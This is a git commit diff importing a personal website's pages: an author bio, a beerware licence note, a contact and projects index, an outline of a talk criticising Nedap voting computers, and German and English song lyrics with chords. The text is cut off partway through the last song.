diff options
author | erdgeist <erdgeist@bauklotz.local> | 2015-08-16 16:38:25 +0200 |
---|---|---|
committer | erdgeist <erdgeist@bauklotz.local> | 2015-08-16 16:38:25 +0200 |
commit | 23f0e1561767dd8a396188e317bae5920d171ea8 (patch) | |
tree | a67f44e39ad8a45e42d60634488a65c37f3ad432 /stories |
Initial import of my nikola website
Diffstat (limited to 'stories')
104 files changed, 4699 insertions, 0 deletions
diff --git a/stories/about.rst b/stories/about.rst new file mode 100644 index 0000000..ea24aa4 --- /dev/null +++ b/stories/about.rst | |||
@@ -0,0 +1,35 @@ | |||
1 | .. date: 1970/01/01 01:00 | ||
2 | .. title: about erdgeist | ||
3 | .. slug: about/index | ||
4 | .. hidetitle: yes | ||
5 | |||
6 | .. class:: col-md-6 col-sm-12 col-xs-12 pull-right | ||
7 | |||
8 | Kurzvita | ||
9 | ======== | ||
10 | |||
11 | Dirk Engling alias erdgeist, Baujahr 1978, arbeitet seit zwanzig Jahren im Bereich der elektronischen Problemlösung an Software für Mobiltelefone, hoch-skalierende Netzwerkdienste und kryptographische Systeme, seit über zehn Jahren selbständig. | ||
12 | |||
13 | In seiner Freizeit arbeitet er als ehrenamtlicher Sprecher des Chaos Computer Club und an diversen Projekten als Autor freier Software. | ||
14 | |||
15 | .. class:: col-md-6 col-sm-12 col-xs-12 pull-left | ||
16 | |||
17 | about erdgeist | ||
18 | ============== | ||
19 | |||
20 | Dirk Engling aka erdgeist, born in 1978, is a freelance software engineer solving all kinds of electronic problems on mobile phones, highly scalable network services and cryptography software. | ||
21 | |||
22 | In his spare time he volunteers as spokes person for the German hacker's association Chaos Computer Club and is author of and contributor to several open source projects. | ||
23 | |||
24 | .. class:: col-md-10 col-sm-9 col-xs-12 | ||
25 | |||
26 | Press photos | ||
27 | ============ | ||
28 | |||
29 | .. thumbnail:: Dirk_Engling_Press_3.jpg | ||
30 | .. thumbnail:: Dirk_Engling_Press_4.jpg | ||
31 | .. thumbnail:: Dirk_Engling_Press_5.jpg | ||
32 | .. thumbnail:: Dirk_Engling_Press_2.jpg | ||
33 | .. thumbnail:: Dirk_Engling_Press_6.jpg | ||
34 | .. thumbnail:: Dirk_Engling_Press_1.jpg | ||
35 | |||
diff --git a/stories/beerware.md b/stories/beerware.md new file mode 100644 index 0000000..f53cd67 --- /dev/null +++ b/stories/beerware.md | |||
@@ -0,0 +1,8 @@ | |||
1 | <!-- | ||
2 | title: beerware | ||
3 | slug: /beerware.txt | ||
4 | --> | ||
5 | |||
6 | The beerware license is very open, close to public domain, but insists on honoring the original author by just not claiming that the code is yours. Instead assume that someone writing Open Source Software in the domain you’re obviously interested in would be a nice match for having a beer with. | ||
7 | |||
8 | So, just keep the name and contact details intact and if you ever meet the author in person, just have an appropriate brand of sparkling beverage choice together. The conversation will be worth the time for both of you. | ||
diff --git a/stories/index.rst b/stories/index.rst new file mode 100644 index 0000000..feb1338 --- /dev/null +++ b/stories/index.rst | |||
@@ -0,0 +1,61 @@ | |||
1 | .. link: | ||
2 | .. description: erdgeist is a Berlin based freelance and open source developer and political activist. | ||
3 | .. tags: | ||
4 | .. date: 1970/01/01 01:00:00 | ||
5 | .. title: main | ||
6 | .. slug: index | ||
7 | .. hidetitle: yes | ||
8 | |||
9 | .. class:: col-md-12 pull-left | ||
10 | |||
11 | erdgeist is a Berlin based freelance and open source developer and political activist. Feel free to stroll around in the public parts of his brain. | ||
12 | |||
13 | .. class:: col-md-6 pull-right | ||
14 | |||
15 | Contact | ||
16 | ======= | ||
17 | |||
18 | Write an email to erdgeist@erdgeist.org preferredly PGP encrypted, `the key </key.asc>`_, fingerprint: 68D0 5298 6E09 BF62 94B8 4DD0 B8DD 7017 *2A6C 30D3*. Reach me via Jabber at `<xmpp:erdgeist@erdgeist.org>`_, where my OTR fingerprint is 7A4BC16B 479D4D10 EAC30B3B B52FD269 ADF818E3. | ||
19 | |||
20 | Follow `@erdgeist <https://twitter.com/erdgeist>`_ on Twitter. Listen to the `OHM podcast <http://monoxyd.de/category/ohm>`_ with monoxyd and CCC's `monthly radio show Chaosradio <http://chaosradio.ccc.de/>`_. Look out for contributions to `Die Datenschleuder <http://ds.ccc.de/>`_ and `www.ccc.de <http://www.ccc.de/>`_, sporadically also on `Frühstücksblog <http://morgen.monoxyd.de>`_. Get `the book 1984.exe <http://www.amazon.de/1984-exe-Gesellschaftliche-politische-juristische-Überwachungstechnologien/dp/3899427661>`_. | ||
21 | |||
22 | .. class:: col-md-6 pull-left | ||
23 | |||
24 | Software projects | ||
25 | ================= | ||
26 | |||
27 | .. post-list:: | ||
28 | :all: | ||
29 | :tags: project | ||
30 | :template: list_projects.tmpl | ||
31 | :id: projects | ||
32 | :sort: prio | ||
33 | :reverse: | ||
34 | |||
35 | |||
36 | Unless state otherwise, the software is released under `beerware license </beerware.html>`_. Some project's documentation is not yet migrated. You can also browse around my `gitweb </gitweb>`_. | ||
37 | |||
38 | .. class:: col-md-6 col-sm-12 col-xs-12 pull-right | ||
39 | |||
40 | Blog | ||
41 | ==== | ||
42 | |||
43 | .. post-list:: | ||
44 | :stop: 7 | ||
45 | :template: list_blogposts.tmpl | ||
46 | |||
47 | |||
48 | .. class:: col-md-6 pull-left | ||
49 | |||
50 | Playground | ||
51 | ========== | ||
52 | |||
53 | See the `lecture about opentracker <http://media.ccc.de/browse/congress/2007/24c3-2355-de-trecker_fahrn.html#video>`_ on 24C3 (`slides <lectures/TrackerFahrn.pdf>`_), `Wahlcomputer in Erlangen <lectures/Wahlcomputer>`_, Format String Exploits, see the interviews and TV show contributions (todo). | ||
54 | |||
55 | Skypixels are helium balloons lit by independent LED boards remote controlled by a NFR2401 controller. | ||
56 | |||
57 | GodMachine was an installation in the Dresden Museum of hygiene, allowing visitors to control the weather by gestures. | ||
58 | |||
59 | Laserharfe is a music instrument built together with friends. It converts hands moving in laser beams to MIDI signals and works on off the shelf electronics. | ||
60 | |||
61 | Some rather personal content, `songs I wrote or recorded <music>`_, some in my former band, Pumpanickle. `Poetry I wrote </poetry>`_. Recently into selecting or writing intros for podcasts `alternativlos <https://alternativlos.org/>`_, turing galaxis, `Frühstücksblog podcast <http://morgen.monoxyd.de/category/podcast/>`_, `Neusprech <http://neusprech.org/kategorie/neusprechfunk/>`_, `Fnord News Show <http://media.ccc.de/browse/congress/2014/31c3_-_6109_-_de_-_saal_1_-_201412290015_-_fnord_news_show_-_frank_-_fefe.html#video>`_ and `OHM podcast <http://monoxyd.de/category/ohm>`_. | ||
diff --git a/stories/lectures/Wahlcomputer.rst b/stories/lectures/Wahlcomputer.rst new file mode 100644 index 0000000..b82a4f1 --- /dev/null +++ b/stories/lectures/Wahlcomputer.rst | |||
@@ -0,0 +1,95 @@ | |||
1 | .. title: Vortrag Wahlcomputer | ||
2 | .. date: 2007/07/13 20:00 | ||
3 | .. slug: Wahlcomputer/index | ||
4 | .. tags: lectures | ||
5 | |||
6 | 1 Intro | ||
7 | ======= | ||
8 | |||
9 | Hier sind die `Slides <../Wahlcomputer_Talk.pdf>`_ | ||
10 | |||
11 | 2 Unsere Motivation, uns dem Problem zu widmen | ||
12 | ============================================== | ||
13 | |||
14 | Geschichte aus dem Wahllokal nach der Wende | ||
15 | |||
16 | 3 Deren Motivation, Wahlcomputer einzuführen | ||
17 | ============================================ | ||
18 | |||
19 | * Kosten, Geschwindigkeit der Auszählung, Komplexere Wahlverfahren, neue Wahloptionen | ||
20 | * Personalbedarf, Eindeutigkeit, Vereinfachung des Wahlablaufs, Wahlbeteiligung | ||
21 | * direkte Demokratie | ||
22 | |||
23 | 4 Grundsätzliche Probleme von Wahlcomputern | ||
24 | =========================================== | ||
25 | * Menschen haben keine eingebauten Messinstrumente | ||
26 | * von aussen ist ein manipulierter Wahlcomputer nicht zu erkennen | ||
27 | * Delegation des Vertrauens von den eigenen Augen in ein Messinstrument | ||
28 | * Komplexere Wahlverfahren nicht immer zugunsten des Wählers | ||
29 | * Manipulation Eingabe/Ausgabegeräte (EC-Kartenautomat) | ||
30 | * Hohe Dynamik, moderne Computer NOCH mehr Probleme | ||
31 | |||
32 | 5 Realistische Angriffsszenarien | ||
33 | ================================ | ||
34 | |||
35 | * Motivation ist hoch: Gemeinden verfügen über mehrere Millionen EUR Mittel | ||
36 | * Bundesregierungen deutlich mehr | ||
37 | * Persoenliche Schicksale (Guus te Meerman), Firmen, die bestimmte Politiker unterstützen | ||
38 | * Zugriff gerade durch Innentäter, Vergleich mit Wahlkampfetat | ||
39 | * knapper Wahlausgang, wenige Computer reichen | ||
40 | |||
41 | 6 Spezielle Betrachtung der Impementierung von Nedap | ||
42 | ==================================================== | ||
43 | |||
44 | * Gekauft, aufgemacht reingeguckt, disassembliert | ||
45 | * Bewusstsein, dass man auch ohne Kenntnis von Quellcode reverseengineeren kann, gab es nicht | ||
46 | * Geheimhalten des Quellcodes erschwerte also nur die eine unabhaengige Ueberpruefung, keinen Angriff | ||
47 | * Ausleihe ins Ausland | ||
48 | * PTB prüft in "Küngelrunde" die Wahlcomputer | ||
49 | |||
50 | 7 Spezielle Herausforderungen durch Nedap | ||
51 | ========================================= | ||
52 | |||
53 | * Dedicated special purpose computer, I’d like to see chess running on this one. - “Okay.” | ||
54 | * Tom Kerrigan's Simple Chess Program | ||
55 | |||
56 | 9 Unsere Komplettübernahme | ||
57 | ========================== | ||
58 | |||
59 | * Unsere Kenntnisse über die Hardware waren am Ende besser als die des Herstellers selber | ||
60 | * Problemlos wurde das vorhandene Wahlprogramm manipuliert | ||
61 | * Austausch des programmspeichers bei einem geschlossenen Wahlcomputer dauert weniger als eine Minute | ||
62 | * GEHEIM/SERVICE - Hintertür | ||
63 | |||
64 | 10 Probleme neben der Manipulationsmöglichkeit | ||
65 | ============================================== | ||
66 | |||
67 | * Abstrahlung - Wahlgeheimnis | ||
68 | * Übertragung vom Stimmenspeicher | ||
69 | * vertrauensvoll naive Grundhaltung ggü dem Wahlcomputer | ||
70 | * Wahlcomputer Verlangsamen in bestimmten Wahlkreisen | ||
71 | * Abhängigkeit vom Wohlwollen des Herstellers | ||
72 | |||
73 | 11 Die Versuche, das System (nachträglich) abzusichern | ||
74 | ====================================================== | ||
75 | |||
76 | * PTB-Sonderüberprüfung | ||
77 | * Testwahlen | ||
78 | * Prüfsummen | ||
79 | * Schlüssel (Briefkasten ist sicherer) | ||
80 | * Siegel | ||
81 | |||
82 | 12 Warum diese Versuche zum Scheitern verurteilt sind | ||
83 | ===================================================== | ||
84 | |||
85 | * Preisdruck auch beim Hersteller | ||
86 | * Gesicherte Umgebungen im Alltag nicht gegeben | ||
87 | * Gegen Innentäter helfen die Massnahmen nicht | ||
88 | |||
89 | 13 Abgang | ||
90 | ========= | ||
91 | |||
92 | * Dem Wähler ist eine effektive Kontrolle und Verifikation der Wahlen nicht mehr möglich | ||
93 | * In der DDR wären die Wahlfälschungen mit Wahlcomputern nicht aufgefallen | ||
94 | * Die OSZE fordert für Wahlen in instabilen System Einsatzverbot | ||
95 | * Immer weniger Menschen können das System begutachten | ||
diff --git a/stories/music/Alte_Zeiten.rst b/stories/music/Alte_Zeiten.rst new file mode 100644 index 0000000..4e02daa --- /dev/null +++ b/stories/music/Alte_Zeiten.rst | |||
@@ -0,0 +1,62 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 1998/08/03 19:10:08 | ||
5 | .. title: Alte Zeiten | ||
6 | .. slug: ../arts/music/Alte_Zeiten | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Alte_Zeiten.mp3" type="audio/mpeg"><a href="Alte_Zeiten.mp3">Alte_Zeiten.mp3</a></audio>` | ||
12 | |||
13 | .. class:: lyrics-chords | ||
14 | |||
15 | ============================================ ==== | ||
16 | Denkst du nicht gern zurück an alte Zeiten aGd | ||
17 | Wo wir jeden Tag zusammngesessen ham EFC | ||
18 | Mit total kaputten Leuten aGd | ||
19 | Die wir doch lieb gewonnen ham gFC | ||
20 | .. | ||
21 | Umsturz, Aufsturz, Absturz - Leute aGd | ||
22 | War das nicht eine geile Zeit? EFC | ||
23 | Doch wo befinden wir uns heute aGd | ||
24 | Wir sind jetzt tot - es tut mir leid gFC | ||
25 | .. | ||
26 | *Das war dann wohl, auf wiedersehen* CFCF | ||
27 | *Ich glaub, ich buddel mich hier ein* DCG | ||
28 | *Muß meinen Weg alleine gehn* EAEA | ||
29 | *Sonst geht ihr mit mir ein* Fa | ||
30 | .. | ||
31 | Irgendwas hat uns gefressen aGd | ||
32 | Und verschluckt mit Haut und Haaren EFC | ||
33 | Wie könnten wir denn sonst vergessen aGd | ||
34 | Wie jung wir einmal waren gFC | ||
35 | .. | ||
36 | Denn unsre alten Bräuche aGd | ||
37 | Kommen uns jetzt kindisch vor EFC | ||
38 | Wir kriegen dicke-, Waschbrett-, Babybäuche aGd | ||
39 | Und die Zeit schreit uns ins Ohr gFC | ||
40 | .. | ||
41 | *Das war dann wohl, auf wiedersehen* CFCF | ||
42 | *Ich glaub, ich buddel mich hier ein* DCG | ||
43 | *Muß meinen Weg alleine gehn* EAEA | ||
44 | *Sonst geht ihr mit mir ein* Fa | ||
45 | .. | ||
46 | Ich denk so oft ich bin allein aGd | ||
47 | Red mir ein daß Einsamkeit mich heilt EFC | ||
48 | Ich weiß auch du fühlst dich oft klein aGd | ||
49 | Wir suchen den der unsre Armut teilt EFC | ||
50 | .. | ||
51 | Schaust auch du verzweifelt in das Morgen aGd | ||
52 | Suchst einen Grund nicht aufzugeben EFC | ||
53 | Mußt dir die Impressionen borgen aGd | ||
54 | Aus deinem längst verlornen Leben gFC | ||
55 | .. | ||
56 | *Ach was auch du haßt deine Welt* CFCF | ||
57 | *Ich denk ich grab mich wieder aus* DCG | ||
58 | *Jedoch nicht, weil's mir gefällt* EAEA | ||
59 | *Dies Ende säh sonst Scheiße aus!* Fa | ||
60 | ============================================ ==== | ||
61 | |||
62 | (`raw lyrics <AlteZeiten.txt>`_) | ||
diff --git a/stories/music/Fine.rst b/stories/music/Fine.rst new file mode 100755 index 0000000..da3bd2d --- /dev/null +++ b/stories/music/Fine.rst | |||
@@ -0,0 +1,41 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 2004/08/03 19:10:08 | ||
5 | .. title: Fine | ||
6 | .. slug: ../arts/music/Fine | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Fine.mp3" type="audio/mpeg"><a href="Fine.mp3">Fine.mp3</a></audio>` | ||
12 | |||
13 | .. class:: lyrics-chords | ||
14 | |||
15 | ============================================================ =========== | ||
16 | Was brauche ich zum traurig sein, als nur die Zeit, g G# g F | ||
17 | die mich erinnern macht an Einsamkeit g G# g B | ||
18 | .. | ||
19 | Was will die Zeit von mir als nur zurueck, g G# g F | ||
20 | was sie mir einst geliehn, g G# | ||
21 | ich gehe mit ihr, Stueck um Stueck B F# F | ||
22 | .. | ||
23 | *Ich stehe staunend nur vor den Truemmern meines Gluecks* B G# F# F | ||
24 | *Und ich traeume nur, ich wuerd mich treffen hinterruecks* B G# F# F | ||
25 | *ich glaub mir nicht, bin nicht verlassen, nur allein,* B G# F# F | ||
26 | *und ich denke: dieses Leben wird niemals mein.* B g G# F# F | ||
27 | .. | ||
28 | Du siehst mein Glas hier vor dir stehn, mehr als halb leer, g G# g F | ||
29 | die letzte Runde ist schon lange her. g G# g B | ||
30 | .. | ||
31 | Du zaehlst die Ringe nicht, denn was gefaellt g G# g F | ||
32 | liegt eh zu Fuessen dir g G# | ||
33 | und deiner gottverlassnen Welt B F# F | ||
34 | .. | ||
35 | *Ich steh verwundert nur vor den Ruinen deines Spiels* B G# F# F | ||
36 | *Und ich hoffe noch, dass du triffst, wohin du zielst* B G# F# F | ||
37 | *ich glaub dir nicht. Du bist gelassen und gemein.* B G# F# F | ||
38 | *und ich schwoere: dieses Leben wird niemals dein* G g G# F# F | ||
39 | ============================================================ =========== | ||
40 | |||
41 | (`raw lyrics <Fine.txt>`_) | ||
diff --git a/stories/music/Frau_Krüger.rst b/stories/music/Frau_Krüger.rst new file mode 100644 index 0000000..5057aca --- /dev/null +++ b/stories/music/Frau_Krüger.rst | |||
@@ -0,0 +1,53 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 1997/08/03 19:10:08 | ||
5 | .. title: Frau Krüger | ||
6 | .. slug: ../arts/music/Frau-Krueger | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="FrauKrüger.mp3" type="audio/mpeg"><a href="FrauKrüger.mp3">FrauKrüger.mp3</a></audio>` | ||
12 | |||
13 | | Er war gerade zwölf Jahre alt | ||
14 | | und spielte mit Freunden im Garten. | ||
15 | | Da kam die alte Frau Krüger heim, | ||
16 | | sie hatte sehr schwer zu tragen. | ||
17 | | | ||
18 | | Um seinen Freunden Mut zu zeigen, | ||
19 | | folgte er der alten Krüger ins Haus | ||
20 | | die Tür stand ja offen, und sie lag nackt, | ||
21 | | wie sie gestorben war, in der Wanne. | ||
22 | | | ||
23 | | Er erzählte keinem von dem, was er sah, | ||
24 | | und schlich sich spätabends aus dem Haus. | ||
25 | | | ||
26 | | *Bist du einmal tot, hast du noch lange nicht Ruh* | ||
27 | | *Überleg dir genau ob stirbst* | ||
28 | | *Denn liegst du erstmal auf dem Rücken* | ||
29 | | *.....................................* | ||
30 | | | ||
31 | | Über Zwanzig Jahre später | ||
32 | | ist er der Dorfpolizist | ||
33 | | und sieht den Pathologen öfter | ||
34 | | als seine eigene Frau | ||
35 | | | ||
36 | | Wasserleichen untersucht er selbst, | ||
37 | | Erzählt den Kollegen, er sucht nach Beweisen | ||
38 | | | ||
39 | | *Ref.* | ||
40 | | | ||
41 | | Er hat stets vielmehr Fleisch im Haus, | ||
42 | | als seine Frau einkauft | ||
43 | | Und seine neue Kettensäge | ||
44 | | ist noch nicht eingeweiht | ||
45 | | | ||
46 | | Nadia Krüger ist grad 12 geworden | ||
47 | | feiert mit Freunden im Garten | ||
48 | | Beim verstecke Spielen läuft sie in sein Haus | ||
49 | | Keiner hat sie dort gefunden | ||
50 | | | ||
51 | | *Ref.* | ||
52 | | | ||
53 | | Fine | ||
diff --git a/stories/music/From_Me_To_You.rst b/stories/music/From_Me_To_You.rst new file mode 100644 index 0000000..d86492c --- /dev/null +++ b/stories/music/From_Me_To_You.rst | |||
@@ -0,0 +1,37 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: pumpanickle | ||
4 | .. date: 2004/12/03 19:10:08 | ||
5 | .. title: From me to you | ||
6 | .. slug: ../arts/music/From_Me_To_You | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | We've proudly made a music video of this song: | ||
12 | |||
13 | :raw-html:`<video controls><source src="From%20Me%20To%20You.mp4" type="audio/mpeg"><a href="From%20Me%20To%20You.mp4">From%20Me%20To%20You.mp4</a></video>` | ||
14 | |||
15 | | I was roaming round your house the other day, | ||
16 | | Kept on thinking of the things that you might say. | ||
17 | | And when I stumbled all the stairs up to your room, | ||
18 | | I was was preparing for my own and special doom, (now listen! ohh) | ||
19 | | | ||
20 | | *From me to you, could what I hear and what they say be true* | ||
21 | | *From me to you, as long as I don't know, I'm blue* | ||
22 | | | ||
23 | | So I sneaked up on you and found you on your chair, | ||
24 | | I looked around and I saw flowers everywhere. | ||
25 | | The day was closing and you stared into the gloom, | ||
26 | | there and then I found my own and special doom, (they're saying! ohh) | ||
27 | | | ||
28 | | *From me to you, now what I heard and what they said is true* | ||
29 | | *From me to you, I'm lonely now and I feel blue* | ||
30 | | *From me to you is everything a want to hide* | ||
31 | | *From me to you comes everything I want to keep inside* | ||
32 | | | ||
33 | | *From me to you, now what I heard and what they said was true* | ||
34 | | *From me to you, I'm lonely now and I feel blue* | ||
35 | | *From me to you, what does it mean to you, at all* | ||
36 | | *From me to you is everything I want you to recall* | ||
37 | | | ||
diff --git a/stories/music/Hero.rst b/stories/music/Hero.rst new file mode 100644 index 0000000..c5b9eb1 --- /dev/null +++ b/stories/music/Hero.rst | |||
@@ -0,0 +1,64 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: pumpanickle | ||
4 | .. date: 2002/12/03 19:10:08 | ||
5 | .. title: Hero | ||
6 | .. slug: ../arts/music/Hero | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | The song comes in two recordings | ||
12 | |||
13 | :raw-html:`<audio controls><source src="Herov1.mp3" type="audio/mpeg"><a href="Herov1.mp3">Herov1.mp3</a></audio>` | ||
14 | |||
15 | :raw-html:`<audio controls><source src="Herov2.mp3" type="audio/mpeg"><a href="Herov2.mp3">Herov2.mp3</a></audio>` | ||
16 | |||
17 | | Standing right above, watch the battlefield below, | ||
18 | | thinking back of time that we did spend | ||
19 | | Together we did walk and together we did stand | ||
20 | | ready to see the holy land | ||
21 | | | ||
22 | | Together we did stand and together we did fight | ||
23 | | those days we never thought, that our feelings weren't alright, | ||
24 | | now looking back in vain I never would complain, | ||
25 | | 'cos I'm your hero now... | ||
26 | | | ||
27 | | *I'm your hero of the day, I'm your hero of the day* | ||
28 | | *maybe you'll be miles away, maybe I lead you astray,* | ||
29 | | *now I'm your hero of the day, I'm your hero of the day* | ||
30 | | *praise the lord and sing hoo- right or wrong* | ||
31 | | *I'd never count the days we passed along.* | ||
32 | | | ||
33 | | Waking up to see, that you are back with me, | ||
34 | | watching the battlefield above. | ||
35 | | Together we did fight and together we did lose | ||
36 | | leaving out no other way to chose. | ||
37 | | | ||
38 | | Together we did stumble and together we did fall, | ||
39 | | you figured out we were not better than them all | ||
40 | | Then I left you behind, have I really been so blind? | ||
41 | | I'm still your hero, hey... | ||
42 | | | ||
43 | | *I'm your hero of the day, I'm your hero of the day* | ||
44 | | *maybe you'll be miles away, maybe I lead you astray,* | ||
45 | | *now I'm your hero of the day, I'm your hero of the day* | ||
46 | | *praise the lord and sing hoo- right or wrong* | ||
47 | | *I'd never count the days we passed along.* | ||
48 | | | ||
49 | | Looking at you now, really makes me thinking wow, | ||
50 | | you did it, you are one of them. | ||
51 | | Together you will stand, and together you will fight, | ||
52 | | the idols, we had way back, then. | ||
53 | | | ||
54 | | I know together you will win and together you will kill | ||
55 | | me, my brothers, my family, my free will | ||
56 | | But not without a fight, I still believe I'm right. | ||
57 | | And you're my hero, right! | ||
58 | | | ||
59 | | *You're my hero of the day, you're my hero of the day,* | ||
60 | | *maybe I'll be miles away, maybe you lead me astray,* | ||
61 | | *well I hate you all the day, now, I hate you all the day* | ||
62 | | *praise the lord and sing hoo- right or wrong* | ||
63 | | *I'd never count the days we passed along.* | ||
64 | |||
diff --git a/stories/music/Hoerig.rst b/stories/music/Hoerig.rst new file mode 100644 index 0000000..9594739 --- /dev/null +++ b/stories/music/Hoerig.rst | |||
@@ -0,0 +1,42 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 2000/08/03 19:10:08 | ||
5 | .. title: Hörig | ||
6 | .. slug: ../arts/music/Hoerig | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Hoerig.mp3" type="audio/mpeg"><a href="Hoerig.mp3">Hoerig.mp3</a></audio>` | ||
12 | |||
13 | .. class:: lyrics-chords | ||
14 | |||
15 | =================================================================== ===== | ||
16 | Jeden morgen stehts du auf und gehst durch deine Tür DGdA | ||
17 | Doch jeden Abend bringt sie dich zurück zu mir DGdA | ||
18 | Du willst mir nicht entflieh'n und hast du doch mal das Gefühl FEGF | ||
19 | Dann zeig ich dir, daß du nix bist und spiel mit dir ein Spiel EDG | ||
20 | .. | ||
21 | Dann stehst du da in deiner neuen Welt aGC | ||
22 | du vertraust keinem und bist allein dEa | ||
23 | und alles was für dich jetzt zählt aGC | ||
24 | Ist wieder für mich da zu sein dEA | ||
25 | .. | ||
26 | Immer wieder frag ich dich, was du denn von mir willst DGdA | ||
27 | Und ob du dich nicht doch woanders besser fühlst DGdA | ||
28 | Ich komm nicht weg von hier, ich muß hier einfach sein FEGF | ||
29 | wenn du dich trennst, dann sterben wir, das redest du uns ein EDG | ||
30 | .. | ||
31 | Dann stehst du da in deiner neuen Welt aGC | ||
32 | du vertraust keinem und bist allein dEa | ||
33 | und alles was für dich jetzt zählt aGC | ||
34 | Ist wieder für mich da zu sein dEA | ||
35 | .. | ||
36 | Immer wieder wird dir klar, daß sich nichts ändern wird DGdA | ||
37 | und dass der Stern, dem du hier folgst, dich in den Abgrund fuehrt DGdA | ||
38 | Ich werd' nun besser geh'n, entscheide mich fuer dich FEGF | ||
39 | .. | ||
40 | \.. was wirklich besser fuer dich ist, das findet sich | ||
41 | =================================================================== ===== | ||
42 | |||
diff --git a/stories/music/No_Angel_Yet.rst b/stories/music/No_Angel_Yet.rst new file mode 100644 index 0000000..af65891 --- /dev/null +++ b/stories/music/No_Angel_Yet.rst | |||
@@ -0,0 +1,57 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 2002/08/03 19:10:08 | ||
5 | .. title: No Angel Yet | ||
6 | .. slug: ../arts/music/No_Angel_Yet | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="No%20Angel%20Yet.mp3" type="audio/mpeg"><a href="No%20Angel%20Yet.mp3">No%20Angel%20Yet.mp3</a></audio>` | ||
12 | |||
13 | .. class:: lyrics-chords | ||
14 | |||
15 | ======================================================= ==== | ||
16 | It was a cold winter day, aGE | ||
17 | I felt happy, 'til I found you. FGC | ||
18 | You didn't listen to what the people say, dGEa | ||
19 | you said: winning is what I have to do. FGa | ||
20 | .. | ||
21 | So you took your courage and your strength aGE | ||
22 | and you went up the hill, FGC | ||
23 | looking down on the valley, on it's full length dGEa | ||
24 | and your feet were standing still. FGa | ||
25 | .. | ||
26 | Cold and tired, how you were, Ce | ||
27 | but still laughing 'bout how far you did get, FG | ||
28 | you were lonely standing there, dG | ||
29 | praying: Please, no angel, yet! FGa | ||
30 | .. | ||
31 | And you kept going, aGE | ||
32 | you were almost there, FGC | ||
33 | but then it started snowing, dGEa | ||
34 | and you didn't know, where you were. FGa | ||
35 | .. | ||
36 | You fell down, in the snow, aGE | ||
37 | your joints were numb with cold, FGC | ||
38 | and you weren't able to go, dGEa | ||
39 | just like the people told. FGa | ||
40 | .. | ||
41 | You cried out loudly, Ce | ||
42 | becoming so wet, FG | ||
43 | you cried out loudly: dG | ||
44 | Please, no angel, yet! FGa | ||
45 | .. | ||
46 | But your prayer wasn't heard, aGE | ||
47 | there he came, your friend and foe, FGC | ||
48 | flying wiht you, like a bird, dGEa | ||
49 | he left your body, and took your soul. FGa | ||
50 | .. | ||
51 | So there it lied, aGE | ||
52 | your body, cold, FGC | ||
53 | and I laid down by its side, dGEa | ||
54 | Waiting to be hold. FGa | ||
55 | FGa | ||
56 | ======================================================= ==== | ||
57 | |||
diff --git a/stories/music/Pimmelterrorist.rst b/stories/music/Pimmelterrorist.rst new file mode 100644 index 0000000..d04af94 --- /dev/null +++ b/stories/music/Pimmelterrorist.rst | |||
@@ -0,0 +1,54 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 2003/08/03 19:10:08 | ||
5 | .. title: Pimmelterrorist | ||
6 | .. slug: ../arts/music/Pimmelterrorist | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | .. role:: crd | ||
12 | |||
13 | :raw-html:`<audio controls><source src="Pimmelterrorist.mp3" type="audio/mpeg"><a href="Pimmelterrorist.mp3">Pimmelterrorist.mp3</a></audio>` | ||
14 | |||
15 | |||
16 | .. class:: lyrics-chords-above | ||
17 | |||
18 | | :crd:`d`\ Ich ging heut nacht die :crd:`a`\ Strasse lang | ||
19 | | auf :crd:`E`\ einem dunklen :crd:`C`\ Stueck | ||
20 | | :crd:`F`\ ich schlich mich an nen :crd:`a`\ Typen ran | ||
21 | | er :crd:`G`\ hat mich nicht ge :crd:`E`\ sehn, was fuer ein :crd:`a`\ Glueck | ||
22 | | | ||
23 | | seine :crd:`d`\ Schuhe sahn noch :crd:`a`\ aus wie neu | ||
24 | | doch die :crd:`E`\ Jacke abge\ :crd:`C`\ tragen | ||
25 | | :crd:`F`\ und weil ich boes bin :crd:`a`\ hab ich ihn | ||
26 | | mit meinem :crd:`G`\ uebergrossen :crd:`E`\ Pimmel er\ :crd:`a`\ schlagen | ||
27 | | | ||
28 | | *Ich bin der Pimmelterror*\ :crd:`G`\ *ist* | ||
29 | | *und schlage zu von Zeit zu* :crd:`a`\ *Zeit* | ||
30 | | *und wenn du nicht wachsam* :crd:`G`\ *bist* | ||
31 | | *bin ich da, ich verfolg* :crd:`E`\ *dich* | ||
32 | | *und schlag dich von hinten* :crd:`a`\ *breit* | ||
33 | |||
34 | | Das gab nen Riesenmedienhype | ||
35 | | die Story ist ja spitze | ||
36 | | die "Bild" denkt sich nen Name aus | ||
37 | | und zwanzig Wege, sich vor mir zu schuetzen | ||
38 | | | ||
39 | | Die Leute laufen kopflos rum | ||
40 | | vor Pimmelmaskenlaeden | ||
41 | | da bekam ich langsam selber Angst, | ||
42 | | mir auf dem Weg ins Bad zu begegnen. | ||
43 | | | ||
44 | | *Ich bin der Pimmelterrorist* | ||
45 | | *und schlag mit voller Laenge zu* | ||
